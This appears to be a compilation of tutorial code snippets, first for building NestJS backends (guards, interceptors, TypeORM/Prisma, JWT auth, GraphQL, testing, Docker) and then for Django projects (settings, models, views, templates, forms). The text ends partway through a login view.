import { Injectable, CanActivate, ExecutionContext } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { SetMetadata } from '@nestjs/common';

export const ROLES_KEY = 'roles';
export const Roles = (...roles: string[]) => SetMetadata(ROLES_KEY, roles);

@Injectable()
export class RolesGuard implements CanActivate {
  constructor(private reflector: Reflector) {}

  canActivate(context: ExecutionContext): boolean {
    const requiredRoles = this.reflector.getAllAndOverride<string[]>(ROLES_KEY, [
      context.getHandler(),
      context.getClass(),
    ]);

    if (!requiredRoles) {
      return true;
    }

    const { user } = context.switchToHttp().getRequest();
    return requiredRoles.some((role) => user.roles?.includes(role));
  }
}

// Usage
@Controller('admin')
@UseGuards(AuthGuard, RolesGuard)
export class AdminController {
  @Get()
  @Roles('admin')
  findAll() {
    return 'This route is only for admins';
  }
}

import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  CallHandler,
} from '@nestjs/common';
import { Observable } from 'rxjs';
import { tap } from 'rxjs/operators';

@Injectable()
export class LoggingInterceptor implements NestInterceptor {
  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const now = Date.now();
    const request = context.switchToHttp().getRequest();
    const method = request.method;
    const url = request.url;

    return next.handle().pipe(
      tap(() => {
        const responseTime = Date.now() - now;
        console.log(`${method} ${url} - ${responseTime}ms`);
      }),
    );
  }
}

import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  CallHandler,
} from '@nestjs/common';
import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';

export interface Response<T> {
  data: T;
  statusCode: number;
  timestamp: string;
}

@Injectable()
export class TransformInterceptor<T> implements NestInterceptor<T, Response<T>> {
  intercept(context: ExecutionContext, next: CallHandler): Observable<Response<T>> {
    return next.handle().pipe(
      map(data => ({
        data,
        statusCode: context.switchToHttp().getResponse().statusCode,
        timestamp: new Date().toISOString(),
      })),
    );
  }
}

import {
  Injectable,
  NestInterceptor,
  ExecutionContext,
  CallHandler,
} from '@nestjs/common';
import { Observable, of } from 'rxjs';
import { tap } from 'rxjs/operators';

@Injectable()
export class CacheInterceptor implements NestInterceptor {
  private cache = new Map();

  intercept(context: ExecutionContext, next: CallHandler): Observable<any> {
    const request = context.switchToHttp().getRequest();
    const key = request.url;

    if (this.cache.has(key)) {
      return of(this.cache.get(key));
    }

    return next.handle().pipe(
      tap(response => {
        this.cache.set(key, response);
      }),
    );
  }
}

npm install @nestjs/typeorm typeorm pg

import { Entity, Column, PrimaryGeneratedColumn, CreateDateColumn, UpdateDateColumn } from 'typeorm';

@Entity('users')
export class User {
  @PrimaryGeneratedColumn()
  id: number;

  @Column({ unique: true })
  email: string;

  @Column()
  name: string;

  @Column()
  password: string;

  @Column({ default: true })
  isActive: boolean;

  @CreateDateColumn()
  createdAt: Date;

  @UpdateDateColumn()
  updatedAt: Date;
}

import { Injectable } from '@nestjs/common';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm';
import { User } from './entities/user.entity';
import { CreateUserDto } from './dto/create-user.dto';

@Injectable()
export class UsersService {
  constructor(
    @InjectRepository(User)
    private usersRepository: Repository<User>,
  ) {}

  async findAll(): Promise<User[]> {
    return this.usersRepository.find();
  }

  async findOne(id: number): Promise<User> {
    return this.usersRepository.findOne({ where: { id } });
  }

  async create(createUserDto: CreateUserDto): Promise<User> {
    const user = this.usersRepository.create(createUserDto);
    return this.usersRepository.save(user);
  }

  async update(id: number, updateData: Partial<User>): Promise<User> {
    await this.usersRepository.update(id, updateData);
    return this.findOne(id);
  }

  async remove(id: number): Promise<void> {
    await this.usersRepository.delete(id);
  }
}

npm install @prisma/client
npm install -D prisma
npx prisma init

import { Injectable, OnModuleInit, OnModuleDestroy } from '@nestjs/common';
import { PrismaClient } from '@prisma/client';

@Injectable()
export class PrismaService extends PrismaClient implements OnModuleInit, OnModuleDestroy {
  async onModuleInit() {
    await this.$connect();
  }

  async onModuleDestroy() {
    await this.$disconnect();
  }
}

npm install @nestjs/jwt @nestjs/passport passport passport-jwt
npm install -D @types/passport-jwt

import { Module } from '@nestjs/common';
import { JwtModule } from '@nestjs/jwt';
import { PassportModule } from '@nestjs/passport';
import { AuthService } from './auth.service';
import { AuthController } from './auth.controller';
import { JwtStrategy } from './strategies/jwt.strategy';
import { UsersModule } from '../users/users.module';

@Module({
  imports: [
    UsersModule,
    PassportModule,
    JwtModule.register({
      secret: process.env.JWT_SECRET,
      signOptions: { expiresIn: '1d' },
    }),
  ],
  controllers: [AuthController],
  providers: [AuthService, JwtStrategy],
  exports: [AuthService],
})
export class AuthModule {}

import { Injectable, UnauthorizedException } from '@nestjs/common';
import { JwtService } from '@nestjs/jwt';
import { UsersService } from '../users/users.service';
import * as bcrypt from 'bcrypt';

@Injectable()
export class AuthService {
  constructor(
    private usersService: UsersService,
    private jwtService: JwtService,
  ) {}

  async signIn(email: string, password: string) {
    const user = await this.usersService.findByEmail(email);

    if (!user) {
      throw new UnauthorizedException('Invalid credentials');
    }

    const isPasswordValid = await bcrypt.compare(password, user.password);

    if (!isPasswordValid) {
      throw new UnauthorizedException('Invalid credentials');
    }

    const payload = { sub: user.id, email: user.email };

    return {
      access_token: await this.jwtService.signAsync(payload),
      user: {
        id: user.id,
        email: user.email,
        name: user.name,
      },
    };
  }

  async signUp(email: string, password: string, name: string) {
    const hashedPassword = await bcrypt.hash(password, 10);

    const user = await this.usersService.create({
      email,
      password: hashedPassword,
      name,
    });

    const payload = { sub: user.id, email: user.email };

    return {
      access_token: await this.jwtService.signAsync(payload),
      user: {
        id: user.id,
        email: user.email,
        name: user.name,
      },
    };
  }
}

import { Injectable } from '@nestjs/common';
import { PassportStrategy } from '@nestjs/passport';
import { ExtractJwt, Strategy } from 'passport-jwt';

@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
  constructor() {
    super({
      jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
      ignoreExpiration: false,
      secretOrKey: process.env.JWT_SECRET,
    });
  }

  async validate(payload: any) {
    return { userId: payload.sub, email: payload.email };
  }
}

npm install @nestjs/graphql @nestjs/apollo @apollo/server graphql

import { Module } from '@nestjs/common';
import { GraphQLModule } from '@nestjs/graphql';
import { ApolloDriver, ApolloDriverConfig } from '@nestjs/apollo';

@Module({
  imports: [
    GraphQLModule.forRoot<ApolloDriverConfig>({
      driver: ApolloDriver,
      autoSchemaFile: true,
      playground: true,
    }),
  ],
})
export class AppModule {}

import { Resolver, Query, Mutation, Args, Int } from '@nestjs/graphql';
import { User } from './models/user.model';
import { UsersService } from './users.service';
import { CreateUserInput } from './dto/create-user.input';

@Resolver(() => User)
export class UsersResolver {
  constructor(private usersService: UsersService) {}

  @Query(() => [User], { name: 'users' })
  findAll() {
    return this.usersService.findAll();
  }

  @Query(() => User, { name: 'user' })
  findOne(@Args('id', { type: () => Int }) id: number) {
    return this.usersService.findOne(id);
  }

  @Mutation(() => User)
  createUser(@Args('createUserInput') createUserInput: CreateUserInput) {
    return this.usersService.create(createUserInput);
  }
}

import { NestFactory } from '@nestjs/core';
import { Transport, MicroserviceOptions } from '@nestjs/microservices';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.createMicroservice<MicroserviceOptions>(AppModule, {
    transport: Transport.TCP,
    options: {
      host: '127.0.0.1',
      port: 8877,
    },
  });

  await app.listen();
}

bootstrap();

import { Controller } from '@nestjs/common';
import { MessagePattern, Payload } from '@nestjs/microservices';

@Controller()
export class MathController {
  @MessagePattern({ cmd: 'sum' })
  accumulate(@Payload() data: number[]): number {
    return (data || []).reduce((a, b) => a + b);
  }
}

import { Injectable } from '@nestjs/common';
import { ClientProxy, ClientProxyFactory, Transport } from '@nestjs/microservices';

@Injectable()
export class AppService {
  private client: ClientProxy;

  constructor() {
    this.client = ClientProxyFactory.create({
      transport: Transport.TCP,
      options: {
        host: '127.0.0.1',
        port: 8877,
      },
    });
  }

  async accumulate() {
    const pattern = { cmd: 'sum' };
    const payload = [1, 2, 3];
    return this.client.send<number>(pattern, payload);
  }
}

import { Test, TestingModule } from '@nestjs/testing';
import { UsersService } from './users.service';
import { getRepositoryToken } from '@nestjs/typeorm';
import { User } from './entities/user.entity';

describe('UsersService', () => {
  let service: UsersService;

  const mockUserRepository = {
    find: jest.fn(),
    findOne: jest.fn(),
    create: jest.fn(),
    save: jest.fn(),
    update: jest.fn(),
    delete: jest.fn(),
  };

  beforeEach(async () => {
    const module: TestingModule = await Test.createTestingModule({
      providers: [
        UsersService,
        {
          provide: getRepositoryToken(User),
          useValue: mockUserRepository,
        },
      ],
    }).compile();

    service = module.get<UsersService>(UsersService);
  });

  it('should be defined', () => {
    expect(service).toBeDefined();
  });

  describe('findAll', () => {
    it('should return an array of users', async () => {
      const users = [{ id: 1, name: 'John' }];
      mockUserRepository.find.mockResolvedValue(users);

      const result = await service.findAll();
      expect(result).toEqual(users);
      expect(mockUserRepository.find).toHaveBeenCalled();
    });
  });
});

import { Test, TestingModule } from '@nestjs/testing';
import { INestApplication } from '@nestjs/common';
import * as request from 'supertest';
import { AppModule } from './../src/app.module';

describe('UsersController (e2e)', () => {
  let app: INestApplication;

  beforeAll(async () => {
    const moduleFixture: TestingModule = await Test.createTestingModule({
      imports: [AppModule],
    }).compile();

    app = moduleFixture.createNestApplication();
    await app.init();
  });

  afterAll(async () => {
    await app.close();
  });

  it('/users (GET)', () => {
    return request(app.getHttpServer())
      .get('/users')
      .expect(200)
      .expect('Content-Type', /json/);
  });

  it('/users (POST)', () => {
    return request(app.getHttpServer())
      .post('/users')
      .send({
        name: 'John Doe',
        email: 'john@example.com',
      })
      .expect(201)
      .then(response => {
        expect(response.body).toHaveProperty('id');
        expect(response.body.name).toBe('John Doe');
      });
  });
});

// Feature-based organization
src/
├── modules/
│   ├── users/
│   │   ├── dto/
│   │   ├── entities/
│   │   ├── users.controller.ts
│   │   ├── users.service.ts
│   │   ├── users.module.ts
│   │   └── users.controller.spec.ts
│   └── products/
└── common/
    ├── guards/
    ├── interceptors/
    ├── pipes/
    └── decorators/

import { IsString, IsEmail, IsOptional, MinLength } from 'class-validator';
import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger';

export class CreateUserDto {
  @ApiProperty({ example: 'John Doe' })
  @IsString()
  @MinLength(3)
  name: string;

  @ApiProperty({ example: 'john@example.com' })
  @IsEmail()
  email: string;

  @ApiPropertyOptional()
  @IsString()
  @IsOptional()
  bio?: string;
}

import { ConfigModule, ConfigService } from '@nestjs/config';
import * as Joi from 'joi';

@Module({
  imports: [
    ConfigModule.forRoot({
      validationSchema: Joi.object({
        NODE_ENV: Joi.string()
          .valid('development', 'production', 'test')
          .default('development'),
        PORT: Joi.number().default(3000),
        DATABASE_URL: Joi.string().required(),
        JWT_SECRET: Joi.string().required(),
      }),
    }),
  ],
})
export class AppModule {}

import { HttpException, HttpStatus } from '@nestjs/common';

export class UserNotFoundException extends HttpException {
  constructor(userId: number) {
    super(`User with ID ${userId} not found`, HttpStatus.NOT_FOUND);
  }
}

// Usage
throw new UserNotFoundException(id);

import { Logger, Injectable } from '@nestjs/common';

@Injectable()
export class UsersService {
  private readonly logger = new Logger(UsersService.name);

  async findAll() {
    this.logger.log('Fetching all users');
    try {
      const users = await this.usersRepository.find();
      this.logger.log(`Found ${users.length} users`);
      return users;
    } catch (error) {
      this.logger.error('Failed to fetch users', error.stack);
      throw error;
    }
  }
}

NODE_ENV=production
PORT=3000
DATABASE_URL=postgresql://user:password@localhost:5432/mydb
JWT_SECRET=your-secret-key
REDIS_URL=redis://localhost:6379

FROM node:18-alpine AS builder

WORKDIR /app

COPY package*.json ./
RUN npm ci

COPY . .
RUN npm run build

FROM node:18-alpine

WORKDIR /app

COPY package*.json ./
RUN npm ci --only=production

COPY --from=builder /app/dist ./dist

EXPOSE 3000

CMD ["node", "dist/main"]

version: '3.8'

services:
  app:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
      - DATABASE_URL=postgresql://postgres:password@db:5432/mydb
    depends_on:
      - db
      - redis

  db:
    image: postgres:15-alpine
    environment:
      POSTGRES_PASSWORD: password
      POSTGRES_DB: mydb
    volumes:
      - postgres_data:/var/lib/postgresql/data

  redis:
    image: redis:7-alpine
    ports:
      - "6379:6379"

volumes:
  postgres_data:

module.exports = {
  apps: [{
    name: 'nest-app',
    script: 'dist/main.js',
    instances: 'max',
    exec_mode: 'cluster',
    env: {
      NODE_ENV: 'production',
    },
  }],
};

import { Controller, Get } from '@nestjs/common';
import {
  HealthCheckService,
  HealthCheck,
  TypeOrmHealthIndicator,
  MemoryHealthIndicator
} from '@nestjs/terminus';

@Controller('health')
export class HealthController {
  constructor(
    private health: HealthCheckService,
    private db: TypeOrmHealthIndicator,
    private memory: MemoryHealthIndicator,
  ) {}

  @Get()
  @HealthCheck()
  check() {
    return this.health.check([
      () => this.db.pingCheck('database'),
      () => this.memory.checkHeap('memory_heap', 150 * 1024 * 1024),
    ]);
  }
}

// Enable compression
import * as compression from 'compression';
app.use(compression());

// Enable helmet for security
import helmet from 'helmet';
app.use(helmet());

// Rate limiting
import { ThrottlerModule } from '@nestjs/throttler';
@Module({
  imports: [
    ThrottlerModule.forRoot({
      ttl: 60,
      limit: 10,
    }),
  ],
})

// Caching
import { CacheModule } from '@nestjs/cache-manager';
@Module({
  imports: [
    CacheModule.register({
      ttl: 5,
      max: 100,
    }),
  ],
})

# Python 3.8+ required
python3 --version
pip --version

# Create virtual environment
python3 -m venv venv

# Activate virtual environment
# On Linux/Mac:
source venv/bin/activate
# On Windows:
# venv\Scripts\activate

# Upgrade pip
pip install --upgrade pip

# Install Django
pip install django

# Verify installation
django-admin --version

# Install additional packages
pip install python-decouple psycopg2-binary pillow django-cors-headers

# Create Django project
django-admin startproject myproject

# Navigate to project
cd myproject

# Create an app
python manage.py startapp myapp

# Run development server
python manage.py runserver

# Server runs on http://127.0.0.1:8000/

# Create initial migrations
python manage.py makemigrations

# Apply migrations
python manage.py migrate

# Create superuser
python manage.py createsuperuser

myproject/
├── manage.py                   # Command-line utility
├── myproject/                  # Project package
│   ├── __init__.py
│   ├── settings.py            # Project settings
│   ├── urls.py                # URL declarations
│   ├── asgi.py                # ASGI entry point
│   └── wsgi.py                # WSGI entry point
├── myapp/                     # Application package
│   ├── migrations/            # Database migrations
│   ├── __init__.py
│   ├── admin.py               # Admin configuration
│   ├── apps.py                # App configuration
│   ├── models.py              # Data models
│   ├── tests.py               # Tests
│   ├── views.py               # View functions/classes
│   └── urls.py                # App URL patterns
├── templates/                 # HTML templates
├── static/                    # Static files (CSS, JS, images)
├── media/                     # User-uploaded files
└── requirements.txt           # Project dependencies

import os
from pathlib import Path
from decouple import config

BASE_DIR = Path(__file__).resolve().parent.parent

SECRET_KEY = config('SECRET_KEY', default='your-secret-key-here')

DEBUG = config('DEBUG', default=False, cast=bool)

ALLOWED_HOSTS = config('ALLOWED_HOSTS', default='localhost,127.0.0.1').split(',')

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'myapp',  # Your app
    'rest_framework',  # For APIs
    'corsheaders',     # CORS headers
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'corsheaders.middleware.CorsMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'myproject.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [BASE_DIR / 'templates'],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': config('DB_NAME', default='mydb'),
        'USER': config('DB_USER', default='postgres'),
        'PASSWORD': config('DB_PASSWORD', default='password'),
        'HOST': config('DB_HOST', default='localhost'),
        'PORT': config('DB_PORT', default='5432'),
    }
}

STATIC_URL = '/static/'
STATIC_ROOT = BASE_DIR / 'staticfiles'
STATICFILES_DIRS = [BASE_DIR / 'static']

MEDIA_URL = '/media/'
MEDIA_ROOT = BASE_DIR / 'media'

from django.db import models
from django.contrib.auth.models import User

class Category(models.Model):
    name = models.CharField(max_length=100)
    slug = models.SlugField(unique=True)
    description = models.TextField(blank=True)
    created_at = models.DateTimeField(auto_now_add=True)
    updated_at = models.DateTimeField(auto_now=True)

    class Meta:
        verbose_name_plural = "Categories"
        ordering = ['name']

    def __str__(self):
        return self.name

class Product(models.Model):
    STATUS_CHOICES = [
        ('draft', 'Draft'),
        ('published', 'Published'),
        ('archived', 'Archived'),
    ]

    name = models.CharField(max_length=200)
    slug = models.SlugField(unique=True)
    description = models.TextField()
    price = models.DecimalField(max_digits=10, decimal_places=2)
    category = models.ForeignKey(Category, on_delete=models.CASCADE, related_name='products')
    image = models.ImageField(upload_to='products/', blank=True, null=True)
    status = models.CharField(max_length=20, choices=STATUS_CHOICES, default='draft')
    stock = models.IntegerField(default=0)
    created_by = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)
    created_at = models.DateTimeField(auto_now_add=True)
    updated_at = models.DateTimeField(auto_now=True)

    class Meta:
        ordering = ['-created_at']
        indexes = [
            models.Index(fields=['slug']),
            models.Index(fields=['status', 'created_at']),
        ]

    def __str__(self):
        return self.name

    @property
    def is_available(self):
        return self.stock > 0 and self.status == 'published'

from django.db import models
from django.core.validators import MinValueValidator, MaxValueValidator
from django.utils.text import slugify

class TimestampedModel(models.Model):
    """Abstract base model with timestamp fields"""
    created_at = models.DateTimeField(auto_now_add=True)
    updated_at = models.DateTimeField(auto_now=True)

    class Meta:
        abstract = True

class Review(TimestampedModel):
    product = models.ForeignKey('Product', on_delete=models.CASCADE, related_name='reviews')
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    rating = models.IntegerField(
        validators=[MinValueValidator(1), MaxValueValidator(5)]
    )
    title = models.CharField(max_length=200)
    comment = models.TextField()
    helpful_count = models.IntegerField(default=0)

    class Meta:
        unique_together = ['product', 'user']
        ordering = ['-created_at']

    def __str__(self):
        return f"{self.user.username} - {self.product.name} ({self.rating}★)"

class Order(TimestampedModel):
    ORDER_STATUS = [
        ('pending', 'Pending'),
        ('processing', 'Processing'),
        ('shipped', 'Shipped'),
        ('delivered', 'Delivered'),
        ('cancelled', 'Cancelled'),
    ]

    user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='orders')
    status = models.CharField(max_length=20, choices=ORDER_STATUS, default='pending')
    total_amount = models.DecimalField(max_digits=10, decimal_places=2)
    shipping_address = models.TextField()
    tracking_number = models.CharField(max_length=100, blank=True)

    def __str__(self):
        return f"Order #{self.id} - {self.user.username}"

class OrderItem(models.Model):
    order = models.ForeignKey(Order, on_delete=models.CASCADE, related_name='items')
    product = models.ForeignKey(Product, on_delete=models.PROTECT)
    quantity = models.IntegerField(validators=[MinValueValidator(1)])
    price = models.DecimalField(max_digits=10, decimal_places=2)

    def __str__(self):
        return f"{self.quantity}x {self.product.name}"

    @property
    def subtotal(self):
        return self.quantity * self.price

from django.db.models import Q, Count, Avg, Sum

# Basic queries
products = Product.objects.all()
product = Product.objects.get(id=1)
products = Product.objects.filter(status='published')
products = Product.objects.exclude(stock=0)

# Complex queries
products = Product.objects.filter(
    Q(name__icontains='laptop') | Q(description__icontains='laptop'),
    price__gte=500,
    status='published'
).select_related('category').prefetch_related('reviews')

# Aggregation
from django.db.models import Count, Avg
stats = Product.objects.aggregate(
    total_products=Count('id'),
    avg_price=Avg('price'),
    total_stock=Sum('stock')
)

# Annotation
categories = Category.objects.annotate(
    product_count=Count('products'),
    avg_price=Avg('products__price')
).filter(product_count__gt=0)

# Custom managers
class PublishedManager(models.Manager):
    def get_queryset(self):
        return super().get_queryset().filter(status='published')

class Product(models.Model):
    # ... fields ...
    objects = models.Manager()
    published = PublishedManager()

# Usage
published_products = Product.published.all()

# Create migrations
python manage.py makemigrations

# Apply migrations
python manage.py migrate

# Show migrations
python manage.py showmigrations

# Revert migration
python manage.py migrate myapp 0001

# Create empty migration
python manage.py makemigrations --empty myapp

from django.shortcuts import render, get_object_or_404, redirect
from django.http import HttpResponse, JsonResponse
from django.contrib.auth.decorators import login_required
from .models import Product, Category
from .forms import ProductForm

def product_list(request):
    products = Product.objects.filter(status='published')
    categories = Category.objects.all()

    context = {
        'products': products,
        'categories': categories,
    }
    return render(request, 'products/list.html', context)

def product_detail(request, slug):
    product = get_object_or_404(Product, slug=slug, status='published')
    related_products = Product.objects.filter(
        category=product.category,
        status='published'
    ).exclude(id=product.id)[:4]

    context = {
        'product': product,
        'related_products': related_products,
    }
    return render(request, 'products/detail.html', context)

@login_required
def product_create(request):
    if request.method == 'POST':
        form = ProductForm(request.POST, request.FILES)
        if form.is_valid():
            product = form.save(commit=False)
            product.created_by = request.user
            product.save()
            return redirect('product_detail', slug=product.slug)
    else:
        form = ProductForm()

    return render(request, 'products/form.html', {'form': form})

def api_products(request):
    products = Product.objects.filter(status='published').values(
        'id', 'name', 'price', 'slug'
    )
    return JsonResponse(list(products), safe=False)

from django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from django.urls import reverse_lazy
from .models import Product

class ProductListView(ListView):
    model = Product
    template_name = 'products/list.html'
    context_object_name = 'products'
    paginate_by = 12

    def get_queryset(self):
        queryset = Product.objects.filter(status='published')

        # Filter by category
        category_slug = self.request.GET.get('category')
        if category_slug:
            queryset = queryset.filter(category__slug=category_slug)

        # Search
        search_query = self.request.GET.get('q')
        if search_query:
            queryset = queryset.filter(
                Q(name__icontains=search_query) |
                Q(description__icontains=search_query)
            )

        return queryset.select_related('category')

    def get_context_data(self, **kwargs):
        context = super().get_context_data(**kwargs)
        context['categories'] = Category.objects.all()
        return context

class ProductDetailView(DetailView):
    model = Product
    template_name = 'products/detail.html'
    context_object_name = 'product'

    def get_queryset(self):
        return Product.objects.filter(status='published').select_related('category')

class ProductCreateView(LoginRequiredMixin, CreateView):
    model = Product
    form_class = ProductForm
    template_name = 'products/form.html'
    success_url = reverse_lazy('product_list')

    def form_valid(self, form):
        form.instance.created_by = self.request.user
        return super().form_valid(form)

class ProductUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):
    model = Product
    form_class = ProductForm
    template_name = 'products/form.html'

    def test_func(self):
        product = self.get_object()
        return self.request.user == product.created_by or self.request.user.is_staff

    def get_success_url(self):
        return reverse_lazy('product_detail', kwargs={'slug': self.object.slug})

class ProductDeleteView(LoginRequiredMixin, UserPassesTestMixin, DeleteView):
    model = Product
    success_url = reverse_lazy('product_list')

    def test_func(self):
        product = self.get_object()
        return self.request.user == product.created_by or self.request.user.is_staff

from django.contrib import admin
from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', include('myapp.urls')),
    path('api/', include('myapp.api.urls')),
    path('accounts/', include('django.contrib.auth.urls')),
]

if settings.DEBUG:
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
    urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)

from django.urls import path
from . import views

app_name = 'products'

urlpatterns = [
    path('', views.ProductListView.as_view(), name='list'),
    path('create/', views.ProductCreateView.as_view(), name='create'),
    path('<slug:slug>/', views.ProductDetailView.as_view(), name='detail'),
    path('<slug:slug>/edit/', views.ProductUpdateView.as_view(), name='edit'),
    path('<slug:slug>/delete/', views.ProductDeleteView.as_view(), name='delete'),

    # API endpoints
    path('api/products/', views.api_products, name='api_list'),
]

from django.urls import path, re_path
from . import views

urlpatterns = [
    # String parameter
    path('products/<slug:slug>/', views.product_detail),

    # Integer parameter
    path('products/<int:id>/', views.product_by_id),

    # UUID parameter
    path('orders/<uuid:order_id>/', views.order_detail),

    # Regular expression
    re_path(r'^articles/(?P<year>[0-9]{4})/$', views.year_archive),
]

{% load static %}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{% block title %}My Site{% endblock %}</title>
    <link rel="stylesheet" href="{% static 'css/style.css' %}">
    {% block extra_css %}{% endblock %}
</head>
<body>
    <nav>
        <a href="{% url 'products:list' %}">Products</a>
        {% if user.is_authenticated %}
            <a href="{% url 'products:create' %}">Add Product</a>
            <span>Hello, {{ user.username }}!</span>
            <a href="{% url 'logout' %}">Logout</a>
        {% else %}
            <a href="{% url 'login' %}">Login</a>
        {% endif %}
    </nav>

    <main>
        {% if messages %}
            {% for message in messages %}
                <div class="alert alert-{{ message.tags }}">
                    {{ message }}
                </div>
            {% endfor %}
        {% endif %}

        {% block content %}{% endblock %}
    </main>

    <footer>
        <p>&copy; 2024 My Site</p>
    </footer>

    <script src="{% static 'js/main.js' %}"></script>
    {% block extra_js %}{% endblock %}
</body>
</html>

{% extends 'base.html' %}
{% load static %}

{% block title %}Products{% endblock %}

{% block content %}
<div class="products-container">
    <h1>Products</h1>

    <form method="get" class="search-form">
        <input type="text" name="q" placeholder="Search products..." value="{{ request.GET.q }}">
        <select name="category">
            <option value="">All Categories</option>
            {% for category in categories %}
                <option value="{{ category.slug }}"
                    {% if request.GET.category == category.slug %}selected{% endif %}>
                    {{ category.name }}
                </option>
            {% endfor %}
        </select>
        <button type="submit">Search</button>
    </form>

    <div class="products-grid">
        {% for product in products %}
            <div class="product-card">
                {% if product.image %}
                    <img src="{{ product.image.url }}" alt="{{ product.name }}">
                {% else %}
                    <img src="{% static 'images/placeholder.png' %}" alt="No image">
                {% endif %}

                <h3>{{ product.name }}</h3>
                <p>{{ product.description|truncatewords:20 }}</p>
                <p class="price">${{ product.price }}</p>
                <a href="{% url 'products:detail' product.slug %}" class="btn">View Details</a>
            </div>
        {% empty %}
            <p>No products found.</p>
        {% endfor %}
    </div>

    {% if is_paginated %}
        <div class="pagination">
            {% if page_obj.has_previous %}
                <a href="?page=1">&laquo; First</a>
                <a href="?page={{ page_obj.previous_page_number }}">Previous</a>
            {% endif %}

            <span class="current-page">
                Page {{ page_obj.number }} of {{ page_obj.paginator.num_pages }}
            </span>

            {% if page_obj.has_next %}
                <a href="?page={{ page_obj.next_page_number }}">Next</a>
                <a href="?page={{ page_obj.paginator.num_pages }}">Last &raquo;</a>
            {% endif %}
        </div>
    {% endif %}
</div>
{% endblock %}

from django import template
from django.utils.html import format_html
from django.utils.safestring import mark_safe

register = template.Library()

@register.filter
def currency(value):
    """Format number as currency"""
    return f"${value:,.2f}"

@register.simple_tag
def star_rating(rating):
    """Display star rating"""
    full_stars = int(rating)
    half_star = 1 if rating - full_stars >= 0.5 else 0
    empty_stars = 5 - full_stars - half_star

    stars = '★' * full_stars + '½' * half_star + '☆' * empty_stars
    return format_html('<span class="rating">{}</span>', stars)

@register.inclusion_tag('includes/product_card.html')
def product_card(product):
    """Render product card"""
    return {'product': product}

from django import forms
from django.core.exceptions import ValidationError
from .models import Product, Review

class ProductForm(forms.ModelForm):
    class Meta:
        model = Product
        fields = ['name', 'description', 'price', 'category', 'image', 'stock', 'status']
        widgets = {
            'description': forms.Textarea(attrs={'rows': 4}),
            'price': forms.NumberInput(attrs={'step': '0.01'}),
        }

    def clean_price(self):
        price = self.cleaned_data.get('price')
        if price and price < 0:
            raise ValidationError('Price cannot be negative')
        return price

    def clean_name(self):
        name = self.cleaned_data.get('name')
        if Product.objects.filter(name=name).exclude(pk=self.instance.pk).exists():
            raise ValidationError('Product with this name already exists')
        return name

class ReviewForm(forms.ModelForm):
    class Meta:
        model = Review
        fields = ['rating', 'title', 'comment']
        widgets = {
            'rating': forms.RadioSelect(choices=[(i, f'{i}★') for i in range(1, 6)]),
            'comment': forms.Textarea(attrs={'rows': 4, 'placeholder': 'Share your experience...'}),
        }

class SearchForm(forms.Form):
    query = forms.CharField(
        max_length=100,
        required=False,
        widget=forms.TextInput(attrs={'placeholder': 'Search products...'})
    )
    category = forms.ModelChoiceField(
        queryset=Category.objects.all(),
        required=False,
        empty_label='All Categories'
    )
    min_price = forms.DecimalField(required=False, min_value=0)
    max_price = forms.DecimalField(required=False, min_value=0)

    def clean(self):
        cleaned_data = super().clean()
        min_price = cleaned_data.get('min_price')
        max_price = cleaned_data.get('max_price')

        if min_price and max_price and min_price > max_price:
            raise ValidationError('Minimum price cannot be greater than maximum price')

        return cleaned_data

from django import forms
from django.core.validators import EmailValidator, RegexValidator

class ContactForm(forms.Form):
    name = forms.CharField(
        max_length=100,
        validators=[
            RegexValidator(
                regex=r'^[a-zA-Z\s]+$',
                message='Name can only contain letters and spaces'
            )
        ]
    )
    email = forms.EmailField(validators=[EmailValidator()])
    phone = forms.CharField(
        validators=[
            RegexValidator(
                regex=r'^\+?1?\d{9,15}$',
                message='Enter a valid phone number'
            )
        ]
    )
    message = forms.CharField(widget=forms.Textarea)

    def clean_email(self):
        email = self.cleaned_data.get('email')
        if email and 'spam' in email.lower():
            raise forms.ValidationError('This email appears to be spam')
        return email

    def send_email(self):
        # Send email logic here
        pass

from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.forms import UserCreationForm
from django.shortcuts import render, redirect
from django.contrib import messages

def user_login(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        user = authenticate(request, username=username, password=password)

        if user is not None:
            login(request, user)
